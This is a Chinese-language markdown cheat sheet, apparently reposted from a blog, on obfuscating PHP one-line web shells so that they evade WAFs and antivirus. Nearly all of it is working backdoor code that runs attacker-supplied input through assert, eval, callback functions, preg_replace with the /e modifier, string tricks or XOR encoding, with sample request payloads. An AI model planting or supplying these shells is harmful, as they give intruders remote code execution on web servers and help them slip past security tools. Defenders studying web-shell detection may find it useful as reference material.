1. 程式人生 > 其它 >一句話木馬免殺.md

一句話木馬免殺.md

一句話木馬

目錄

php

方法

  1. 字串變形:

    substr(string, start, length)

    <?php 
        $a = 'a'.'s'.'s'.'e'.'r'.'t';
        $a($_POST['x']);
    ?>
       
    <?php 
        $a = substr('1a',1).'s'.'s'.'e'.'r'.'t';
        $a($_POST['x']);
    ?>    
    

    strtr(string, from, to)

    <?php 
        $a = strtr('azxcvt','zxcv','ssert');
        $a($_POST['x']);
    ?>   
    

    substr_replace(string, replacement, start, length)

    <?php 
        $a = substr_replace("asxxx","sert",2);
        $a($_POST['x']);
    ?>  
    

    trim(string, charlist)

    <?php 
        $a = trim(' assert ');
        $a($_POST['x']);
    ?>
    
  2. 函式繞過

    ​ 函式可以把敏感關鍵詞當做引數傳遞

    <?php 
        function sqlsec($a){
            $a($_POST['x']);
        }
    
        sqlsec(assert);
    ?>
    
  3. 回撥函式

    回撥函式⼤部分都無法繞過 WAF 了

    call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

    <?php
        call_user_func('assert',$_POST['x']);
    ?>
    

    call_user_func_array ( callable $callback , array $param_arr )

    <?php
       call_user_func_array(assert,array($_POST['x']));
    ?>
    

    array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

    <?php
        array_filter(array($_POST['x']),'assert');
    ?>
        
     <?php
        $e = $_REQUEST['e'];
        $arr = array($_POST['pass'],);
        array_filter($arr, base64_decode($e));
    ?>
    

    array_map(myfunction,array1,array2,array3...)

    <?php
        $e = $_REQUEST['e'];
        $arr = array($_POST['pass'],);
        array_map(base64_decode($e), $arr);
    ?>
    

    array_walk(array,myfunction,parameter...)

    <?php
        function sqlsec($value,$key)
        {   
            $x = $key.$value;
            $x($_POST['x']);
        }
        $a=array("ass"=>"ert");
        array_walk($a,"sqlsec");
    ?>
        
    <?php 
      $e = $_REQUEST['e'];
      $arr = array($_POST['x'] => '|.*|e',);
        array_walk($arr, $e, '');
    ?>
    # payload: shell.php?e=preg_replace  相當於 preg_replace('|.*|e',$_POST['x'],'')
    # PHP 止中不止 preg_replace 函式可以執行 eval 的功能,還有下面幾個類似的:
    # mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = "msr" ] ) : string
    <?php 
        mb_ereg_replace('\d', $_REQUEST['x'], '1', 'e');
    ?>
    # mixed preg_filter ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
    <?php 
        preg_filter('|\d|e', $_REQUEST['x'], '2');
    ?>
     <?php 
        mb_eregi_replace('\d', $_REQUEST['x'], '1', 'e');
    ?>
    

    array_walk_recursive(array,myfunction,parameter...)

    <?php
        $e = $_REQUEST['e'];
        $arr = array($_POST['pass'] => '|.*|e',);
        array_walk_recursive($arr, $e, '');
    ?>
    

    array_reduce(array,myfunction,initial)

    array_reduce() 函式向用戶自定義函式傳送陣列中的值,並返回一個字串。

    <?php
        $e = $_REQUEST['e'];
        $arr = array(1);
        array_reduce($arr, $e, $_POST['x']);
    ?>
    # payload 
       e=assert&x=phpinfo();
    

    array_diff(array1,array2,array3...);

    array_diff() 函式返回兩個陣列的差集陣列。該陣列包括了所有在被比較的陣列中,但是不在任何其他引數陣列中的鍵值。在返回的陣列中,鍵名保持不變。

    <?php
        $e = $_REQUEST['e'];
        $arr = array($_POST['x']);
        $arr2 = array(1);
        array_udiff($arr, $arr2, $e);
    ?>
        # payload e=assert&x=phpinfo();
    

    uasort(array,myfunction);

    uasort() 函式使用使用者自定義的比較函式對陣列排序,並保持索引關聯(不為元素分配新的鍵)。如果成功則返回 TRUE,否則返回 FALSE。該函式主要用於對那些單元順序很重要的結合陣列進行排序。

    <?php
        $e = $_REQUEST['e'];
        $arr = array('test', $_REQUEST['x']);
        uasort($arr, base64_decode($e));
    ?>
    # payload e=YXNzZXJ0&x=phpinfo();
    <?php
       $arr = new ArrayObject(array('test', $_REQUEST['x']));
       $arr->uasort('assert');
    ?>
    

    uksort(array,myfunction);

    uksort() 函式通過使用者自定義的比較函式對陣列按鍵名進行排序。

    <?php
        $e = $_REQUEST['e'];
        $arr = array('test' => 1, $_REQUEST['x'] => 2);
        uksort($arr, $e);
    ?>
    # e=assert&x=phpinfo();	
    <?php
       $arr = new ArrayObject(array('test' => 1, $_REQUEST['x'] => 2));
       $arr->uksort('assert');
    ?>
    

    register_shutdown_function ( callable $callback [, mixed $... ] ) : void

    註冊一個 callback ,它會在指令碼執行完成或者 exit() 後被呼叫。

    <?php
        $e = $_REQUEST['e'];
        register_shutdown_function($e, $_REQUEST['x']);
    ?>
    

    register_tick_function ( callable $function [, mixed $arg [, mixed $... ]] ) : bool

    註冊在呼叫記號時要執行的給定函式。

    <?php
        $e = $_REQUEST['e'];
        declare(ticks=1);
        register_tick_function ($e, $_REQUEST['x']);
    ?>
    

    filter_var(variable, filter, options)

    filter_var() 函式通過指定的過濾器過濾變數。

    <?php
        filter_var($_REQUEST['x'], FILTER_CALLBACK, array('options' => 'assert'));
    ?>
    

    filter_var_array(array, args)

    filter_var_array() 函式獲取多項變數,並進行過濾。

    <?php
        filter_var_array(array('test' => $_REQUEST['x']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
    ?>
    

    register_tick_function ( callable $function [, mixed $... ] ) : bool

    註冊在呼叫記號時要執行的給定函式。

    <?php
    $e = $_REQUEST['e'];
    declare(ticks=1);
    register_tick_function ($e, $_REQUEST['x']);
    ?>
    
  4. 異或

    <?php 
        $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
        $a($_POST['x']);
    ?>
    

收集

​ 1. 異或

<?php
    # $a = _POST
    $a="~+d()"^"!{+{}";
	# $b = $_POST["a"]
	$b=${$a}["a"];
	# eval($_POST["a"]);
	eval("".$b);
?>